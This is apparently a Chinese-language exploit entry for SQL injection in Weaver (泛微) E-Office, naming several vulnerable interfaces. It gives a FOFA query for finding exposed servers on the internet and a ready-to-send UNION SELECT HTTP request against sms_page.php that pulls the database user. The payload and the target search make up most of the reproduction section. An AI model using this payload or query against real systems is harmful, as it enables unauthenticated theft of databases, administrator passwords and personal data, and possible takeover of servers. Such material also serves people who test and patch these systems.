F8-11泛微-E-Office-SQL

漏洞描述：

泛微e-office json_common.php、flow_xml.php、sms_page.php、getUserLists、detail.php、Init.php等接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

网站图片：

网络测绘：

fofa语法：

app="泛微-EOffice"

漏洞复现：

payload：

```
GET /E-mobile/sms_page.php?detailid=123%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7e,user(),0x7e),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20- HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
```

效果图:
查询当前用户